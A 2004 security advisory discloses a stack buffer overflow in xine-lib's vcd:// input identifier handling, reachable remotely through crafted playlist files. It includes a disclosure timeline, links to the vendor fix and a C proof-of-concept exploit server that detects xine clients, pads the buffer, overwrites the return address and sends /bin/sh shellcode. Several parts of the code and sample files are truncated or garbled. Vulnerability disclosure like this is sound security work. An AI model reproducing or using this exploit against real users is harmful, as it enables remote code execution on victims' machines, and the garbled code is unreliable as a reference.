$ An open security advisory #6 - Xine vcd MRL input identifier management overflow


1: Bug Researcher: c0ntex[at]open-security.org

2: Bug Released: August 08th 2004

3: Bug Impact Rate: Medium / Hi

4: Bug Scope Rate: Remote / Local


$ This advisory and/or proof of concept code must not be used for commercial gain.


Xine - A free video player


"xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It also decodes multimedia files like

AVI, MOV, WMV, and MP3 from local disk drives, and displays multimedia streamed over the Internet. It

interprets many of the most common multimedia formats available - and some of the most uncommon formats, too."

Part 2 in the Media Mayhem saga, a name that was decided as being aptly fitting for the "Media Player" security

audit project that the Open Security Group website started at the end of May. This project continues finding

remote exploits in popular media players for Windows and Linux / UNIX derived systems.

Like the excellent Mplayer, Xine is a superb free media player for Linux. Sadly there is a generic stack based

buffer overflow in all versions of Xine-lib, including Xine-lib-rc5 that allows for local and remote malicious

code execution.

By overflowing the vcd:// input source identifier buffer, it is possible to modify the instruction pointer with

a value that a malicious attacker can control. The issue can be replicated in a remote context by embedding the

input source idientifier within a playlist file, such as an asx.

When a user plays the file, this stack overflow will occur, exploit code can then be executed with the rights

of the user running Xine.

The problem slightly increases due to a usability feature. It does not have to be an asx extension for

exploitation to succeed as Xine will try to be clever and play any media type found, providing it's valid. This

still means the attack vector MUST include the .asx input identifier but it means you can not even trust URL's

for .mp3, .mpeg, .mpg or .avi media. As long as Xine finds a valid media header, it's happy to change the demuxer

reference and play the found media. In this case it's a playlist file, ".asx", though others should work.

Any of the following demuxors will work when running against the attached POC server:

xine --no-splash http://sunscreen/opensecurity.asx

xine --no-splash http://sunscreen/opensecurity.mp3

xine --no-splash http://sunscreen/opensecurity.mpg

xine --no-splash http://sunscreen/opensecurity.mpeg

xine --no-splash http://sunscreen/opensecurity.wma

xine --no-splash http://sunscreen/opensecurity.avi

xine --no-splash http://sunscreen/blah.blah

xine --no-splash http://sunscreen/

There are some tricks that may have to be pulled to allow for successful code execution to work, primarily due to

some memory corruption that happens and opcode destruction. However it is easily defeated by either jmp'ing over

the corrupt few bytes or by placing the shellcode into the buffer at some known good location.

An example malicious .asx file:

sunscreen$ cat open-security.asx

Open Security Media Archive

Brought to you by c0ntex[at]open-security.org


Track 1 - Open Security Rock(s) -> SOAD - Chop Suey

Track 2 - Open Security Rock(s) -> Media Mayhem Militia

System Of A Down - Chop Suey



All your media are belong to us!





Example POC run:

sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl

sunscreen$ ./xinesmine -a 0 -p 80

** Xines_Mine - Remote proof of concept example **

[-] Uses .asx header reference to make Xine think it has valid

[-] reference file, then a crafted package is sent to overflow

[-] the vulnerable client && prove remote exploit concept.

[-] c0ntex[at]open-security.org {} http://www.open-security.org

-> Listening for a connection on port 80

[c0ntex@exploited xine]$ ./xine --no-splash http://sunscreen/opensecurity.asx

This is xine (X11 gui) - a free video player v0.99.2.

(c) 2000-2004 The xine Team.

Playlist file (http://sunscreen/opensecurity.asx) is invalid.

WARN: could not retrieve file info for `image.nrg': No such file or directory

WARN: init failed

WARN: open(


File name too long

WARN: could not retrieve file info for `


File name too long

WARN: init failed


Due to the many vulnerabilities being discovered in media players it is advised not to play any form of music

without first verifying it's integrity. It would be worth noting that P2P networks that are currently sharing

music, videos and films tend to be illegal media and as such void any integrity anyway, I advise highly to

stay clear from IRC and P2P warez.


CVS log which details the bug perfectly can be found here:

-> http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923

Get the latest CVS of Xine-lib from here:

-> http://xinehq.de/index.php/releases

Get the Xine (XSA) advisory from here:

-> http://xinehq.de/index.php/security

Get this original advisory from here:

-> http://www.open-security.org/advisories/advisories.html


Xine bug discovered 22nd May 2004

Xine bug research completed 24th May 2004

Xine developers contacted 11th July 2004

Xine bug public release 8th August 2004














#ifdef linux



#define SUCCESS 0

#define FAILURE 1

#define BUFFER 1044

#define CDATA 150

#define JMP 200

#define THREAT "xine/1-rc5"

#define XPLOIT_OS Redhat9

#define example(OhNoo) fprintf(stderr, "Usage: ./xines_mine -a -p \n\n", OhNoo);

void die(char * errtrap);

void banner(void);

int prepsock(int align_stack, int port);

int pkg_send(int clisock_fd, int align_stack, char * pload, char * payload);

int main(int argc, char ** argv);

static char * http[] = {

"HTTP/1.0 200 OK\r\n",

"Date: Thu, 23 May 2004 12:52:15 GMT\r\n",

"Server: Xines_Mine Server(Linux)\r\n",

"MIME-version: 1.0\r\n",

"Content-Type: audio/x-mpegurl\r\n",

"Content-Length: 2000\r\n",

"Connection: close\r\n",



static char * vcdmuxor[] = {



" c0ntex[at]open-security.org www.open-security.org\r\n",








static char opcode[] = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"




die(char * errtrap)









fprintf(stderr, "\n ** Xines_Mine - Remote proof of concept example **\n\n");

fprintf(stderr, "[-] Uses .asx header reference to make Xine think it has valid\n");

fprintf(stderr, "[-] reference file, then a crafted package is sent to overflow\n");

fprintf(stderr, "[-] the vulnerable client && prove remote exploit concept.\n");

fprintf(stderr, "[-] c0ntex[at]open-security.org {} http://www.open-security.org \n\n");



prepsock(int align_stack, int port)


unsigned int cl_buf, recv_chk, reuse = 1;

unsigned int clisock_fd;

signed int sock_fd;

static char chk_vuln[CDATA];

static char payload[BUFFER];

struct sockaddr_in victimised, xine;

char *pload = (char *) &opcode;

((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)

? die("Could not create socket")

: (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1)

? die("Could not re-use socket")

: memset(&xine, 0, sizeof(xine));

xine.sin_family = AF_INET;

xine.sin_port = htons(port);

xine.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct sockaddr)) == -1) {

close(sock_fd); die("Could not bind socket");


if(listen(sock_fd, 0) == -1) {

close(sock_fd); die("Could not listen on socket");


printf(" -> Listening for a connection on port %d\n", port);

cl_buf = sizeof(victimised);

clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, &cl_buf);

if(!clisock_fd) {

die("Could not accept connection\n");


if(!close(sock_fd)) {

fprintf(stderr, "Could not close socket\n");


fprintf(stderr, " -> Action: Attaching from host [%s]\n", inet_ntoa(victimised.sin_addr));

fprintf(stderr, " -> Using align [%d] and port [%d]\n", align_stack, port);

//memset(chk_vuln, 0, CDATA);

memset(chk_vuln, 0, sizeof(chk_vuln));

recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0);

chk_vuln[recv_chk+1] = '\0';

if((recv_chk == -1) || (recv_chk == 0)) {

fprintf(stderr, "Could not receive data from client\n");


if(strstr(chk_vuln, THREAT)) {

fprintf(stderr, " -> Detected vulnerable Xine version\n");


fprintf(stderr, " -> Detected a non-Xine connection, end.\n");

close(clisock_fd); die("Ending connection, not a Xine client\n");


if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) {

fprintf(stderr, "Could not send package\n");

close(clisock_fd); die("Could not send package!\n");


if(close(clisock_fd) != 0) {

fprintf(stderr, "Could not close socket\n");


return clisock_fd;

//return SUCCESS;



pkg_send(int clisock_fd, int align_stack, char * pload, char * payload)


unsigned int i = 0;

memset(payload, 0, BUFFER);

for(i = (BUFFER - JMP + align_stack); i < BUFFER; i += 4) {

payload[i] = 0xbc;

payload[i+1] = 0xe7;

payload[i+2] = 0x7f;

payload[i+3] = 0xbf;


for (i = 0; i < (BUFFER - 33 - 20); i += 2) {//7 ) {

payload[i] = 0x4d;

payload[i+1] = 0x45;

//payload[i+1] = 0x63;

//payload[i+1] = 0x30;

//payload[i+1] = 0x6e;

//payload[i+1] = 0x74;

//payload[i+1] = 0x65;

//payload[i+1] = 0x78;

//payload[i+1] = 0x90;


memcpy(payload + i, pload, strlen(pload));

payload[1045] = 0x00;

fprintf(stderr, " -> Payload size to send is [%4d]\n", strlen(payload));

fprintf(stderr, " -> Sending evil payload to our client\n"); fflush(stderr);

for (i = 0; i < 8; i++)

if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {

close(clisock_fd); die("Could not send HTTP header");

}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);

for (i = 0; i < 5; i++)

if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1) {

close(clisock_fd); die("Could not send asx header");

}fprintf(stderr, "\t- Sending starter asx header..\n"); sleep(1);

if(send(clisock_fd, payload, strlen(payload), 0) == -1) {

close(clisock_fd); die("Could not send payload");

}fprintf(stderr, "\t- Sending payload package..\n"); sleep(1);

for (i = 5; i < 9; i++)

if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1) {

close(clisock_fd); die("Could not send asx header");

}fprintf(stderr, "\t- Sending cleanup asx header..\n");




main(int argc, char ** argv)


unsigned int align_stack = 0, port = 80;

unsigned int opts;

static char * exploit = NULL;

if(argc < 2) {

goto jumpout;


while((opts = getopt(argc, argv, "a:p:")) != -1) {



case 'a':

align_stack = atoi(optarg);

if((align_stack < 0) || (align_stack > 3)) {

goto jumpout;



case 'p':

port = atoi(optarg);

if((port < 0) || (port > 65535)) {

goto jumpout;




goto jumpout;




if(prepsock(align_stack, port) == -1) {

fprintf(stderr, "Error\n");


} fprintf(stderr, " -> Test complete\n\n");







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